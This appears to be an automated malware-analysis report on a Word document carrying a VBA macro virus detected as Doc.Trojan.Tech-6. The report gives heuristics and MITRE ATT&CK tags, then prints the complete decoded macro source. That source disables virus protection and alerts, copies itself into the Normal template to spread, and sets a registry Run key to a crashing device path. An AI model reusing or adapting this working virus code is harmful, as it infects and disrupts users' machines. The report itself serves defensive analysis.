MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a VBA macro with an AutoClose subroutine, which is a common technique for malicious documents. This macro attempts to export itself to 'c:\log.386', then imports it into the NormalTemplate and ActiveDocument, and finally saves the document. Crucially, it writes a value to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run with the command 'c:\con\con', establishing persistence. The macro's intent is to ensure execution upon system startup.
Heuristics 4
-
ClamAV: Doc.Trojan.Tech-6 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tech-6
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1623 bytes |
SHA-256: 9abde56ab405a3460d8b5c310632c2aeb5f63ee87306aba227bc1c72ed587422 |
|||
|
Detection
ClamAV:
Doc.Trojan.Tech-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "expB2"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)
Application.EnableCancelKey = wCancelDisabled
Application.DisplayStatusBar = (Rnd * 0)
Application.ScreenUpdating = (Rnd * 0)
Application.DisplayAlerts = wdAlertsNone
CommandBars("Tools").Controls("Macro").Delete
Application.VBE.ActiveVBProject.VBComponents("expB2").Export "c:\log.386"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "expB2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "expB2" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
Dobj.VBComponents.Import ("c:\log.386")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If Day(17) And Month(Now) Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "") = "c:\con\con"
End If
End Sub
' @ Pvx 17 4 2000 simple m.v. only for research purposes
' version b5 (word97) dont distribute
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.